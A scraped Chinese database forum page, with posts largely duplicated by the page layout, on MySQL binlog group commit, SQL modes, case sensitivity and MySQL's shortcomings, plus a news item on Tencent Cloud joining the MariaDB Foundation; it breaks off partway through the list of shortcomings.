MySQL之BLGC介绍

Rock 发表了文章 • 0 个评论 • 58 次浏览 • 2017-07-08 23:51 • 来自相关话题

一、组提交介绍

1.1 什么是组提交
Binary Log Group Commit 即二进制日志组提交。这是 MySQL5.6 版本中引进的一个新的特性。为什么需要引进这个特性呢?我们知道当我们把 MySQL 的 binlog 开启的时候,MySQL 会将每个事务的操作都记录到 binlog 中,方便我们使用 binlog 来完成复制或者恢复操作。可是需要调用 fsync() 才能将缓存中被更改的 binlog 真正的写到磁盘上,保证数据的持久化。但是这是一个从内存写到磁盘的过程,I/O 比较慢。如果每次事务提交都执行一遍 fsync() 将 binlog 持久化落盘到磁盘的话,效率很低。于是就想,能不能等几个事务的 binlog 一起调用一次 fsync(),一次性落盘。减少 fsync() 的次数,从而提高效率。这就是二进制日志组提交的概念。
 

二、两阶段提交

2.1 为什么需要二阶段提交
我们知道在 MySQL 中不仅仅有 binlog,还有 redo log 和 undo log 。binlog 用来记录每个事务的操作信息,redo 是在数据库宕机恢复时使用,用来恢复数据库数据,undo 用来回滚还未被提交的数据。binlog 是在数据库 Server 层产生的,即它会记录所有存储引擎中事务的操作,而 redo 是 InnoDB 存储引擎特有的日志。

在事务提交的时候,我们需要先写入二进制日志,再写 InnoDB 存储引擎的 redo。并且要求二进制日志和 redo 要么都写,要么都不写。不然可能会出现这样的情况:在主从复制的环境下,master 提交了一个事务,先写了二进制日志,但是在要写 InnoDB 存储引擎的时候,数据库发生了宕机,此时 binlog 又已经被 slave 接收到了,slave 会执行这个事务,但是实际 master 上并没有这个事务。这就会导致主从数据的不一致。所以我们引入了二阶段提交来解决这个问题,即将写 binlog 操作个 InnoDB 提交操作通过事务变成原子的。
 
2.2 什么是二阶段提交
所谓的二阶段提交就是,我在事务提交的时候,确保先将 binlog 写入,然后再到数据引擎层提交,并且这两个操作是原子的。在 MySQL 中用内部的 XA 事务来完成,即将这两个操作包装成一个事务的概念。




上图表示了二阶段提交的过程。当一个会话中的某一事务 COMMIT 的时候,进去二阶段提交的过程。首先数据库先去协调 Server 层和 Engine,询问是否都可以开始写日志,这个过程就是图中的的 prepare 阶段。协调好两层之间的关系,Server 层和 Engine 层都表示可以写日志,这时候进入下一个过程。

第二个过程就是写 binlog 的过程,先把 binlog 写到内存中,然后调用 fsync() 将 binlog 从内存写到磁盘上。

第三个过程就是在存储引擎层提交的过程,将真实修改的数据提交到数据库中。当这一步完成才最终返回给会话一个 COMMIT 成功的信号。

这整个过程就是二阶段提交的过程,如果在 fsync() 之前数据库 crash 了,重启之后数据将会被回滚,若在 fsync() 之后 crash,则会进行重做操作。通过二阶段提交的方式就保证了存储引擎与二进制日志保持一致。
 

三、三阶段提交

3.1 为什么需要三阶段提交
上面的二阶段提交是针对单一事务提交时候的操作顺序,下面我们来看看当多个事务并发的时候会是什么样的一个情况。




现在有T1、T2、T3 三个事务需要执行,从图中可以看到数据在 fsync() 之前,三个事务已经写入到了 binlog 中,通过 fsync() 操作将 binlog 刷到磁盘。之后先是 T2 COMMIT,将数据更改更新到存储引擎层,接着是 T3 COMMIT,将数据更新到存储引擎层。这时候我们做了一个热备份的操作,有多种方式进行数据库的热备份,比如:XtraBackup等。这时候就会发生错误。会发生什么错误,我们需要先了解一下 XtraBackup 等热备工具的备份原理。

XtraBackup备份原理:直接拷贝数据库文件,并且记录下当前二进制日志中已经提交的最后一个事务标记。在新的数据库实例上完成 recovery 操作。

了解完备份原理之后,我们就可以想到上述情况下做热备会出现什么情况。因为 T2、T3 已经提交,所以备份的时候会记录下 T3 是最后一个提交的事务,会认为 T3 之前的事务都是已经提交的,由于是直接拷贝数据库文件,可以看到 T1 事务的数据还没有提交到存储引擎层,所以备份数据中还并没有 T1 的数据。如果新的数据库是用来做主从复制的话,change master to 会指向二进制日志中 T3 的位置,从 T3 事务开始往后进行复制,这样一来 T1 事务的数据就这样没了。产生这个问题的主要原因就是:事务写入二进制日志的顺序与事务在存储引擎层提交的顺序不一致。

为了解决这个问题,MySQL 引入了 prepare_commit_mutext 的机制,当事务提交的时候,需要先获得 prepare_commit_mutext 这个锁。有了这个锁就可以保证事务写入二进制日志的顺序与事务在存储引擎层提交的顺序一致。




但是这样一来,从图中我们也可以看到,原先是并发的事务,又变成了串行的,效率又变低了。只要是问题,必然存在解决方法。于是三阶段提交就出现了。
 
 
3.2 什么是三阶段提交
三阶段提交,顾名思义有三个阶段: Flush 阶段、sync 阶段、commit 阶段。分别对应的就是二进制日志写内存的阶段、二进制日志刷盘的阶段、事务提交到存储引擎层的阶段。
 




每个阶段都有 leader、follower 两种角色。当一个事务进入三个阶段中的某一个阶段,如果发现这个阶段中的队列为空,那么这个事务就会成为 leader 的角色,之后进入同一阶段的事务,发现这个阶段的队列中已经有事务存在了,那就变成 follower 角色。leader 角色的任务是安排当前阶段队列中的事务按顺序执行,并且带领队列中所有的事务进入下一个阶段。当 leader 带领队列中的事务进入下一阶段的时候,如果发现下一阶段中已经有事务存在(即下一阶段已有 leader 存在),新来的 leader 自动变成 follower 角色。

三阶段提交在每个阶段都控制了事务的顺序,从而也就控制了事务执行的整体顺序。解决了 prepare_commit_mutex 锁导致的问题,事务可以并发的执行。

参考:http://blog.itpub.net/28218939/viewspace-1975809/
           http://blog.itpub.net/28218939/viewspace-1975822/
http://mysqlmusings.blogspot.jp/2012/06/binary-log-group-commit-in-mysql-56.html   查看全部


一、组提交介绍


1.1 什么是组提交
Binary Log Group Commit 即二进制日志组提交。这是 MySQL5.6 版本中引进的一个新的特性。为什么需要引进这个特性呢?我们知道当我们把 MySQL 的 binlog 开启的时候,MySQL 会将每个事务的操作都记录到 binlog 中,方便我们使用 binlog 来完成复制或者恢复操作。可是需要调用 fsync() 才能将缓存中被更改的 binlog 真正的写到磁盘上,保证数据的持久化。但是这是一个从内存写到磁盘的过程,I/O 比较慢。如果每次事务提交都执行一遍 fsync() 将 binlog 持久化落盘到磁盘的话,效率很低。于是就想,能不能等几个事务的 binlog 一起调用一次 fsync(),一次性落盘。减少 fsync() 的次数,从而提高效率。这就是二进制日志组提交的概念。
 


二、两阶段提交


2.1 为什么需要二阶段提交
我们知道在 MySQL 中不仅仅有 binlog,还有 redo log 和 undo log 。binlog 用来记录每个事务的操作信息,redo 是在数据库宕机恢复时使用,用来恢复数据库数据,undo 用来回滚还未被提交的数据。binlog 是在数据库 Server 层产生的,即它会记录所有存储引擎中事务的操作,而 redo 是 InnoDB 存储引擎特有的日志。

在事务提交的时候,我们需要先写入二进制日志,再写 InnoDB 存储引擎的 redo。并且要求二进制日志和 redo 要么都写,要么都不写。不然可能会出现这样的情况:在主从复制的环境下,master 提交了一个事务,先写了二进制日志,但是在要写 InnoDB 存储引擎的时候,数据库发生了宕机,此时 binlog 又已经被 slave 接收到了,slave 会执行这个事务,但是实际 master 上并没有这个事务。这就会导致主从数据的不一致。所以我们引入了二阶段提交来解决这个问题,即将写 binlog 操作个 InnoDB 提交操作通过事务变成原子的。
 
2.2 什么是二阶段提交
所谓的二阶段提交就是,我在事务提交的时候,确保先将 binlog 写入,然后再到数据引擎层提交,并且这两个操作是原子的。在 MySQL 中用内部的 XA 事务来完成,即将这两个操作包装成一个事务的概念。
twocommit.png

上图表示了二阶段提交的过程。当一个会话中的某一事务 COMMIT 的时候,进去二阶段提交的过程。首先数据库先去协调 Server 层和 Engine,询问是否都可以开始写日志,这个过程就是图中的的 prepare 阶段。协调好两层之间的关系,Server 层和 Engine 层都表示可以写日志,这时候进入下一个过程。

第二个过程就是写 binlog 的过程,先把 binlog 写到内存中,然后调用 fsync() 将 binlog 从内存写到磁盘上。

第三个过程就是在存储引擎层提交的过程,将真实修改的数据提交到数据库中。当这一步完成才最终返回给会话一个 COMMIT 成功的信号。

这整个过程就是二阶段提交的过程,如果在 fsync() 之前数据库 crash 了,重启之后数据将会被回滚,若在 fsync() 之后 crash,则会进行重做操作。通过二阶段提交的方式就保证了存储引擎与二进制日志保持一致
 


三、三阶段提交


3.1 为什么需要三阶段提交
上面的二阶段提交是针对单一事务提交时候的操作顺序,下面我们来看看当多个事务并发的时候会是什么样的一个情况。
t3commit.png

现在有T1、T2、T3 三个事务需要执行,从图中可以看到数据在 fsync() 之前,三个事务已经写入到了 binlog 中,通过 fsync() 操作将 binlog 刷到磁盘。之后先是 T2 COMMIT,将数据更改更新到存储引擎层,接着是 T3 COMMIT,将数据更新到存储引擎层。这时候我们做了一个热备份的操作,有多种方式进行数据库的热备份,比如:XtraBackup等。这时候就会发生错误。会发生什么错误,我们需要先了解一下 XtraBackup 等热备工具的备份原理。

XtraBackup备份原理:直接拷贝数据库文件,并且记录下当前二进制日志中已经提交的最后一个事务标记。在新的数据库实例上完成 recovery 操作。

了解完备份原理之后,我们就可以想到上述情况下做热备会出现什么情况。因为 T2、T3 已经提交,所以备份的时候会记录下 T3 是最后一个提交的事务,会认为 T3 之前的事务都是已经提交的,由于是直接拷贝数据库文件,可以看到 T1 事务的数据还没有提交到存储引擎层,所以备份数据中还并没有 T1 的数据。如果新的数据库是用来做主从复制的话,change master to 会指向二进制日志中 T3 的位置,从 T3 事务开始往后进行复制,这样一来 T1 事务的数据就这样没了。产生这个问题的主要原因就是:事务写入二进制日志的顺序与事务在存储引擎层提交的顺序不一致。

为了解决这个问题,MySQL 引入了 prepare_commit_mutext 的机制,当事务提交的时候,需要先获得 prepare_commit_mutext 这个锁。有了这个锁就可以保证事务写入二进制日志的顺序与事务在存储引擎层提交的顺序一致。
3tcommit.png

但是这样一来,从图中我们也可以看到,原先是并发的事务,又变成了串行的,效率又变低了。只要是问题,必然存在解决方法。于是三阶段提交就出现了。
 
 
3.2 什么是三阶段提交
三阶段提交,顾名思义有三个阶段: Flush 阶段、sync 阶段、commit 阶段。分别对应的就是二进制日志写内存的阶段、二进制日志刷盘的阶段、事务提交到存储引擎层的阶段。
 
3commit.png

每个阶段都有 leader、follower 两种角色。当一个事务进入三个阶段中的某一个阶段,如果发现这个阶段中的队列为空,那么这个事务就会成为 leader 的角色,之后进入同一阶段的事务,发现这个阶段的队列中已经有事务存在了,那就变成 follower 角色。leader 角色的任务是安排当前阶段队列中的事务按顺序执行,并且带领队列中所有的事务进入下一个阶段。当 leader 带领队列中的事务进入下一阶段的时候,如果发现下一阶段中已经有事务存在(即下一阶段已有 leader 存在),新来的 leader 自动变成 follower 角色。

三阶段提交在每个阶段都控制了事务的顺序,从而也就控制了事务执行的整体顺序。解决了 prepare_commit_mutex 锁导致的问题,事务可以并发的执行。


参考:http://blog.itpub.net/28218939/viewspace-1975809/
           http://blog.itpub.net/28218939/viewspace-1975822/
http://mysqlmusings.blogspot.jp/2012/06/binary-log-group-commit-in-mysql-56.html  


腾讯云正式成为MariaDB基金会白金会员

图灵之歌 发表了文章 • 0 个评论 • 139 次浏览 • 2017-06-16 16:35 • 来自相关话题

6月16日,全球开源组织MariaDB基金会宣布,腾讯云正式成为MariaDB基金会白金会员,这是基金会最高级别会员。这也是腾讯云继上个月加入CNCF基金会和Linux基金会后,在开源界的又一项新动作,意味腾讯云在开源领域的步伐正在不断深入,从IaaS的开源进入到PaaS的开源。
 


腾讯云将输出腾讯在MariaDB数据库上的经验和技术。腾讯云专家工程师程彬加入基金会成员组,成为全球仅有的7位官方成员之一。程彬负责腾讯云数据库CDB以及内核TXSQL的研发,专注于数据库和分布式存储领域相关技术和产品。他将代表腾讯云的数据库团队参加基金会每周的技术会议,提供MariaDB数据库的意见和建议,并在内部推动腾讯云MariaDB的开源进程,推动MariaDB在中国的开源工作。  
 
MariaDB基金会主席高度评价腾讯云
 
MariaDB基金会主席 Otto Kekäläinen表示:“MariaDB是未来的IT基础设施的一个基本组成部分,腾讯云在这个领域不断的思考和布局,具备锐意开创未来的主宰领导力。”他同时指出,强大的开源文化生长在中国以及亚洲,基金会的目标是将来在亚洲发起更多的活动。我们下一个MariaDB 开发者大会将在中国深圳举行。
 
MariaDB基金会官方同时评价,腾讯云的加入为基金会的发展提供强有力的资源支持,保障MariaDB开源生态的良好运转,为不断成长的用户和开发者提供服务。
 
MariaDB是由MySQL之父Michael Widenius于2009年开创的一个MySQL分支,在MySQL被商业企业收购后,为保证行业仍有开源可用的兼容MySQL的分支可用,Michael Widenius在创立了 MariaDB的同时,还成立了非赢利组织 MariaDB 基金会为MariaDB 项目、用户和开发者社区提供基础架构支持。目前MariaDB是发展最快的MySQL分支版本,新版本发布速度已经超过了商用的MySQL版本,在开源数据库领域拥有较强的技术影响力。
 
腾讯云将重点开源MariaDB内核积累
 
在腾讯内部,一直有一个数据库内核团队,在MySQL和MariaDB基础上之上做出改进优化,重点排出一些平时难以触发的bug,并在此基础上打造出了腾讯云的数据库产品。
 
在参与MySQL和MariaDB优化的过程中,腾讯云完成了主备节点锁拆分、动态调整各种级别复制参数,以及binlog写优化等;发现并解决了刷脏死锁引起的 innodb 600S crash 问题、memory barrier 引起的 hang 问题以及字符串问题等影响数据库稳定的问题。
 
未来,腾讯云还将投入更多精力到内核研发上,并会合并之前的一些内部稳定使用功能发布开源版本,尤其是适合云环境的功能的开源版本,为开源组织贡献自己的一份力量。
 
腾讯云深度拥抱全球开源生态圈
 
近年来,腾讯云大力拥抱开源事业。今年5月,腾讯云以金牌会员的身份正式加入CNCF基金会,为CNCF开源社区开放自身的Kubernetes相关特性,释放自身在容器服务、KVM虚拟化等方面的优势积累。同时基于腾讯云在Linux领域的积极贡献,腾讯云获CNCF基金会邀请加入Linux基金会。
 
此次腾讯云加入MariaDB基金会,将在数据库内核研发和功能开发方面开放助力开源,与国际的数据库专家团体建立更密切的联系,推动开放更多的技术开源。
 
未来腾讯云继续加大在开源领域的步伐,深度拥抱全球开源生态圈,从产品出发,基于大量用户在产品使用的感受和腾讯云的服务实践,将有价值的特性反馈给社区,与社区一起完善相关特性,同时从社区获得广泛的用户反馈,再次回到产品,提升腾讯云的产品体验。
 
 
延伸阅读:
腾讯云加入MariaDB基金会的官方消息:
https://mariadb.org/tencent-cloud-becomes-platinum-sponsor-mariadb-foundation/ 查看全部
6月16日,全球开源组织MariaDB基金会宣布,腾讯云正式成为MariaDB基金会白金会员,这是基金会最高级别会员。这也是腾讯云继上个月加入CNCF基金会和Linux基金会后,在开源界的又一项新动作,意味腾讯云在开源领域的步伐正在不断深入,从IaaS的开源进入到PaaS的开源。
 


腾讯云将输出腾讯在MariaDB数据库上的经验和技术。腾讯云专家工程师程彬加入基金会成员组,成为全球仅有的7位官方成员之一。程彬负责腾讯云数据库CDB以及内核TXSQL的研发,专注于数据库和分布式存储领域相关技术和产品。他将代表腾讯云的数据库团队参加基金会每周的技术会议,提供MariaDB数据库的意见和建议,并在内部推动腾讯云MariaDB的开源进程,推动MariaDB在中国的开源工作。  
 
MariaDB基金会主席高度评价腾讯云
 
MariaDB基金会主席 Otto Kekäläinen表示:“MariaDB是未来的IT基础设施的一个基本组成部分,腾讯云在这个领域不断的思考和布局,具备锐意开创未来的主宰领导力。”他同时指出,强大的开源文化生长在中国以及亚洲,基金会的目标是将来在亚洲发起更多的活动。我们下一个MariaDB 开发者大会将在中国深圳举行。
 
MariaDB基金会官方同时评价,腾讯云的加入为基金会的发展提供强有力的资源支持,保障MariaDB开源生态的良好运转,为不断成长的用户和开发者提供服务。
 
MariaDB是由MySQL之父Michael Widenius于2009年开创的一个MySQL分支,在MySQL被商业企业收购后,为保证行业仍有开源可用的兼容MySQL的分支可用,Michael Widenius在创立了 MariaDB的同时,还成立了非赢利组织 MariaDB 基金会为MariaDB 项目、用户和开发者社区提供基础架构支持。目前MariaDB是发展最快的MySQL分支版本,新版本发布速度已经超过了商用的MySQL版本,在开源数据库领域拥有较强的技术影响力。
 
腾讯云将重点开源MariaDB内核积累
 
在腾讯内部,一直有一个数据库内核团队,在MySQL和MariaDB基础上之上做出改进优化,重点排出一些平时难以触发的bug,并在此基础上打造出了腾讯云的数据库产品。
 
在参与MySQL和MariaDB优化的过程中,腾讯云完成了主备节点锁拆分、动态调整各种级别复制参数,以及binlog写优化等;发现并解决了刷脏死锁引起的 innodb 600S crash 问题、memory barrier 引起的 hang 问题以及字符串问题等影响数据库稳定的问题。
 
未来,腾讯云还将投入更多精力到内核研发上,并会合并之前的一些内部稳定使用功能发布开源版本,尤其是适合云环境的功能的开源版本,为开源组织贡献自己的一份力量。
 
腾讯云深度拥抱全球开源生态圈
 
近年来,腾讯云大力拥抱开源事业。今年5月,腾讯云以金牌会员的身份正式加入CNCF基金会,为CNCF开源社区开放自身的Kubernetes相关特性,释放自身在容器服务、KVM虚拟化等方面的优势积累。同时基于腾讯云在Linux领域的积极贡献,腾讯云获CNCF基金会邀请加入Linux基金会。
 
此次腾讯云加入MariaDB基金会,将在数据库内核研发和功能开发方面开放助力开源,与国际的数据库专家团体建立更密切的联系,推动开放更多的技术开源。
 
未来腾讯云继续加大在开源领域的步伐,深度拥抱全球开源生态圈,从产品出发,基于大量用户在产品使用的感受和腾讯云的服务实践,将有价值的特性反馈给社区,与社区一起完善相关特性,同时从社区获得广泛的用户反馈,再次回到产品,提升腾讯云的产品体验。
 
 
延伸阅读:
腾讯云加入MariaDB基金会的官方消息:
https://mariadb.org/tencent-cloud-becomes-platinum-sponsor-mariadb-foundation/

MYSQL的不同SQL模式解析

chris 发表了文章 • 0 个评论 • 191 次浏览 • 2017-05-15 23:05 • 来自相关话题

一、Mysql SQL Mode简介

通常来说MySQL服务器能够工作在不同的SQL模式下,并能针对不同的客户端以不同的方式应用这些模式。这样,应用程序就能对服务器操作进行量身定制以满足自己的需求。
 
这类模式定义了MySQL应支持的SQL语法,以及应该在数据上执行何种确认检查。这样,就能在众多不同的环境下、与其他数据库服务器一起更容易地使用MySQL。
 
可以使用" --sql-mode="modes" "选项,通过启动mysqld来设置默认的SQL模式。而从MySQL 4.1开始,也能在启动之后,使用SET [SESSION|GLOBAL] sql_mode='modes'语句,通过设置sql_mode变量更改其模式。
 
通常在linux下安装完mysql后,其默认的sql-mode值是空,在这种情形下mysql执行的是一种不严格的检查,例如日期字段可以插入'0000-00-00 00:00:00'这样的值,还有如果要插入的字段长度超过列定义的长度,那么mysql不会终止操作,而是会自动截断后面的字符继续插入操作,如下例:
mysql> create table t1 (c1 char(3));
mysql> insert into t1 values('abcd');
mysql> select * from t1;
+------+
| c1 |
+------+
| abc |
+------+
1 row in set (0.00 sec)我们发现插入的字符被自动截断了,但是如果我们本意希望如果长度超过限制就报错,那么我们可以设置sql_mode为STRICT_TRANS_TABLES,如下:
mysql> set session sql_mode='STRICT_TRANS_TABLES'这样我们再执行同样的操作,mysql就会告诉我们插入的值太长,操作被终止,如下:
mysql> insert into t1 values('abcd');
ERROR 1406 (22001): Data too long for column 'c1' at row 1
经常使用的sql_mode值:




说明:如果把sql_mode的值设置成后面的两个值(也就是我们说的严格模式),那么当在列中插入或更新不正确的值时,mysql将会给出错误,并且放弃insert/update操作。
 
在我们的一般应用中建议使用这两种模式,而不是使用默认的空或ANSI模式。但是需要注意的问题是,如果数据库运行在严格模式下,并且你的存储引擎不支持事务,那么有数据不一致的风险存在,比如一组sql中有两个dml语句,如果后面的一个出现了问题,但是前面的已经操作成功,那么mysql并不能回滚前面的操作。因此说设置sql_mode需要应用人员权衡各种得失,从而得到一个合适的选择。
 
Sql_mode的值还有很多,这里不再累述,可以参考相关的手册。
 
 

二、SQL Mode与可移植性

如果mysql与其它异构数据库之间有数据移植的需求的话,那么下面的sql_mode的组合设置可以达到相应的效果:




 

三、SQL Mode与数据效验

SQL Mode 还可以实现对数据效验和转移等功能如: 
效验日期数据合法性. 在INSERT或UPDATE过程中,如果被零除(或MOD(X,0)),则产生错误 将‘"'视为识别符引号(‘`'引号字符) 禁用反斜线字符(‘\')做为字符串内的退出字符。启用NO_BACKSLASH_ESCAPES模式,反斜线则成为普通字符。 将||视为字符串连接操作符(+)(同CONCAT()),而不视为OR。 查看全部


一、Mysql SQL Mode简介


通常来说MySQL服务器能够工作在不同的SQL模式下,并能针对不同的客户端以不同的方式应用这些模式。这样,应用程序就能对服务器操作进行量身定制以满足自己的需求。
 
这类模式定义了MySQL应支持的SQL语法,以及应该在数据上执行何种确认检查。这样,就能在众多不同的环境下、与其他数据库服务器一起更容易地使用MySQL。
 
可以使用" --sql-mode="modes" "选项,通过启动mysqld来设置默认的SQL模式。而从MySQL 4.1开始,也能在启动之后,使用SET [SESSION|GLOBAL] sql_mode='modes'语句,通过设置sql_mode变量更改其模式。
 
通常在linux下安装完mysql后,其默认的sql-mode值是空,在这种情形下mysql执行的是一种不严格的检查,例如日期字段可以插入'0000-00-00 00:00:00'这样的值,还有如果要插入的字段长度超过列定义的长度,那么mysql不会终止操作,而是会自动截断后面的字符继续插入操作,如下例:
mysql> create table t1 (c1 char(3));
mysql> insert into t1 values('abcd');
mysql> select * from t1;
+------+
| c1 |
+------+
| abc |
+------+
1 row in set (0.00 sec)
我们发现插入的字符被自动截断了,但是如果我们本意希望如果长度超过限制就报错,那么我们可以设置sql_mode为STRICT_TRANS_TABLES,如下:
mysql> set session sql_mode='STRICT_TRANS_TABLES'
这样我们再执行同样的操作,mysql就会告诉我们插入的值太长,操作被终止,如下:
mysql> insert into t1 values('abcd');
ERROR 1406 (22001): Data too long for column 'c1' at row 1

经常使用的sql_mode值:
sqlmode.png

说明:如果把sql_mode的值设置成后面的两个值(也就是我们说的严格模式),那么当在列中插入或更新不正确的值时,mysql将会给出错误,并且放弃insert/update操作。
 
在我们的一般应用中建议使用这两种模式,而不是使用默认的空或ANSI模式。但是需要注意的问题是,如果数据库运行在严格模式下,并且你的存储引擎不支持事务,那么有数据不一致的风险存在,比如一组sql中有两个dml语句,如果后面的一个出现了问题,但是前面的已经操作成功,那么mysql并不能回滚前面的操作。因此说设置sql_mode需要应用人员权衡各种得失,从而得到一个合适的选择。
 
Sql_mode的值还有很多,这里不再累述,可以参考相关的手册。
 
 


二、SQL Mode与可移植性


如果mysql与其它异构数据库之间有数据移植的需求的话,那么下面的sql_mode的组合设置可以达到相应的效果:
databaseclass.png

 


三、SQL Mode与数据效验


SQL Mode 还可以实现对数据效验和转移等功能如: 
  1. 效验日期数据合法性. 
  2. 在INSERT或UPDATE过程中,如果被零除(或MOD(X,0)),则产生错误 
  3. 将‘"'视为识别符引号(‘`'引号字符) 
  4. 禁用反斜线字符(‘\')做为字符串内的退出字符。启用NO_BACKSLASH_ESCAPES模式,反斜线则成为普通字符。 
  5. 将||视为字符串连接操作符(+)(同CONCAT()),而不视为OR。

MYSQL大小写敏感介绍

chris 发表了文章 • 0 个评论 • 195 次浏览 • 2017-05-08 22:55 • 来自相关话题

简介

在MySQL中,数据库对应数据目录中的目录。数据库中的每个表至少对应数据库目录中的一个文件(也可能是多个,取决于存储引擎)。因此,所使用操作系统的大小写敏感性决定了数据库名和表名的大小写敏感性。
 
在大多数Unix中数据库名和表名对大小写敏感,而在Windows中对大小写不敏感。一个显著的例外情况是Mac OS X,它基于Unix但使用默认文件系统类型(HFS+),对大小写不敏感。然而,Mac OS X也支持UFS卷,该卷对大小写敏感,就像Unix一样。
 
变量lower_case_file_system说明是否数据目录所在的文件系统对文件名的大小写敏感。ON说明对文件名的大小写不敏感,OFF表示敏感。
 
例如在Linux下查看:
mysql> show variables like 'lower%';
+------------------------+-------+
| Variable_name | Value |
+------------------------+-------+
| lower_case_file_system | OFF |
| lower_case_table_names | 0 |
+------------------------+-------+
2 rows in set (0.00 sec)说明Linux系统对大小写敏感,MySQL也默认设置为对大小写敏感, 而Windows则相反。
 

大小写区分规则

Linux下:
数据库名与表名是严格区分大小写的;表的别名是严格区分大小写的;列名与列的别名在所有的情况下均是忽略大小写的;变量名也是严格区分大小写的;
 
windows下:
都不区分大小写
 
Mac OS下(非UFS卷):
都不区分大小写
 

参数说明

unix下lower_case_table_names默认值为 0 ;  Windows下默认值是 1 ;Mac OS X下默认值是 2 .





由大小写敏感转换为不敏感方法

如果原来所建立库及表都是对大小写敏感的,想要转换为对大小写不敏感,主要需要进行如下3步:
将数据库数据通过mysqldump导出。在my.cnf中更改lower_case_tables_name = 1,并重启mysql数据库。将导出的数据导入mysql数据库。
 

注意事项

为了避免大小写引发的问题,一种推荐的命名规则是:在定义数据库、表、列的时候全部采用小写字母加下划线的方式,不使用任何大写字母
 
在任何系统中可以使用lower_case_tables_name=1。使用该选项的不利之处是当使用SHOW TABLES或SHOW DATABASES时,看不出名字原来是用大写还是小写。
 
请注意在Unix中如果以前lower_case_tables_name = 0将lower_case_tables_name设置为1之前,重启mysqld之前,必须先将旧的数据库名和表名转换为小写。 查看全部


简介


在MySQL中,数据库对应数据目录中的目录。数据库中的每个表至少对应数据库目录中的一个文件(也可能是多个,取决于存储引擎)。因此,所使用操作系统的大小写敏感性决定了数据库名和表名的大小写敏感性。
 
在大多数Unix中数据库名和表名对大小写敏感,而在Windows中对大小写不敏感。一个显著的例外情况是Mac OS X,它基于Unix但使用默认文件系统类型(HFS+),对大小写不敏感。然而,Mac OS X也支持UFS卷,该卷对大小写敏感,就像Unix一样。
 
变量lower_case_file_system说明是否数据目录所在的文件系统对文件名的大小写敏感。ON说明对文件名的大小写不敏感,OFF表示敏感。
 
例如在Linux下查看:
mysql> show variables like 'lower%';
+------------------------+-------+
| Variable_name | Value |
+------------------------+-------+
| lower_case_file_system | OFF |
| lower_case_table_names | 0 |
+------------------------+-------+
2 rows in set (0.00 sec)
说明Linux系统对大小写敏感,MySQL也默认设置为对大小写敏感, 而Windows则相反。
 


大小写区分规则


Linux下
  • 数据库名与表名是严格区分大小写的;
  • 表的别名是严格区分大小写的;
  • 列名与列的别名在所有的情况下均是忽略大小写的;
  • 变量名也是严格区分大小写的;

 
windows下
  • 都不区分大小写

 
Mac OS下(非UFS卷):
  • 都不区分大小写

 


参数说明


unix下lower_case_table_names默认值为 0 ;  Windows下默认值是 1 ;Mac OS X下默认值是 2 .
args.png


由大小写敏感转换为不敏感方法


如果原来所建立库及表都是对大小写敏感的,想要转换为对大小写不敏感,主要需要进行如下3步:
  1. 将数据库数据通过mysqldump导出。
  2. 在my.cnf中更改lower_case_tables_name = 1,并重启mysql数据库。
  3. 将导出的数据导入mysql数据库。

 


注意事项


为了避免大小写引发的问题,一种推荐的命名规则是:在定义数据库、表、列的时候全部采用小写字母加下划线的方式,不使用任何大写字母
 
在任何系统中可以使用lower_case_tables_name=1。使用该选项的不利之处是当使用SHOW TABLES或SHOW DATABASES时,看不出名字原来是用大写还是小写。
 
请注意在Unix中如果以前lower_case_tables_name = 0将lower_case_tables_name设置为1之前,重启mysqld之前,必须先将旧的数据库名和表名转换为小写。

MYSQL的八大缺陷

小白菜 发表了文章 • 0 个评论 • 414 次浏览 • 2016-12-29 11:39 • 来自相关话题

MySQL体积小,速度快,功能丰富,总体拥有成本低。它还是一个开源的关联式数据库管理系统,它的伟大成就说明了一个成功的公司是可以建立在开源之上的。
 
虽然用过mysql的人都曾对其出现的问题而抓狂,但只要是机器,总避免不了出问题的,更何况是一种每秒能保存成千上万行互联网数据,你怎么保证它一点错误都没有呢?
 
以下列举了8个开源关系型数据库的缺陷,其中不仅限于MySQL,还有是针对关系型数据库的。只有明白了关系型数据库和MySQL,才能更好地避免在使用MySQL中尽量少地遇到一些意外。
 

1、无法避免的bugs

任何一个软件包都有bug。但稍微深入了解一下,就会发现和Mysql相关的bugs自成体系。突然你就需要留心,因为NULL并不是以同样的方式出现,外键约束也没有像你想像的那样执行,连主键自动增长也会出错。

到处都避免不了小问题,而且并不总是可以修复的,这就是为什么一些人保持一个列表。还好MySQL维护着一个非常好的bug报告系统,让我们可以知道我些我们无法想像的事情,知道其他人也在经受同样的磨难。
 

2、关系表的不灵活性

关系表具有条理性是好的,但这迫使程序员要编造或把一些数据塞到已经定义好模式的列中。NoSQL之所以越来越受欢迎,其中一个原因就是它为程序员提供了足够的灵活性,以加速数据库的使用。如果一个街道地址需要增加一行,那么,你可以将它很容易地插入到一个NoSQL文档中。如果你想添加一个完整的新的数据块,无论它包含什么内容,文档模型也可以原封不动地接受你的数据,而不必改为它要求的数据格式。

假设你用整数格式建立了一个全部是邮编的表格。这个表十分高效,执行规则也很好。可是有一次,有人上传了一个使用了连字符的九位数邮编。或者说你得到了一位来自他国的客户的信件,上面写有邮政编码。这时,你会感到一切都乱了。老板要求网站要在几小时内恢复正常工作。然而,你已经没有时间重建数据库。程序员可以做什么?使用黑客手段把这位客户的邮政编码由base 64的数字格式改为base 10格式?或者设置一个使用转义编码的辅助表格,用来说明真正的邮政编码或者其他?危险的黑客无处不在,但你没有时间来搞定它。

MySQL的关联规则让每个人都诚实和谨慎,但它能强制我们避开易受攻击和欺骗的麻烦。
 

3、存储引擎混乱

总体来说,Mysql的存储引擎接口定义还算良好的。MySQL不是实际上的同一的数据库。它是由几个数据库组成,它们的大多数细节都被统一的表面掩盖了。开始时有一个MyISAM引擎,它很快但在前后一致上不能做到完备。有时你需要速度并且可以接受不一致的结果时是很好的。

当人们需要更多时,具备完整事务支持的Inno DB出现了。但这还不够。现在,它可能有20种存储引擎的选择——这足以使一个数据库管理员疯狂。当然,有时在不同的存储引擎之间切换而不必重写你的SQL是很好的,但是切换后总会带来混乱。这个表格我选择的引擎是MyISAM还是innoDB呢?或者,我决定输出的数据是CSV格式的吗?
 

4、JOIN联合查询

曾经,将数据分表保存是计算机科学史上的伟大创新。分开后的表不仅结构简单,使用上也简化了许多。但它却需要使用join语句来进行查询。

sql通过一系列join构建的复杂查询将开发者推入了困惑与绝望的深渊。而且存储引擎也需要以最优的方式来高效地解析join语句。开发者需要绞尽脑汁编写查询语句,然后数据库对其进行解析。

这就是很多注重运行速度的开发者放弃数据分表转而使用不规范数据表的原因。不区分数据实体,将所有数据保存到一个大表中——以避免复杂的查询。这样确实很快,并且服务器也不会耗尽内存。

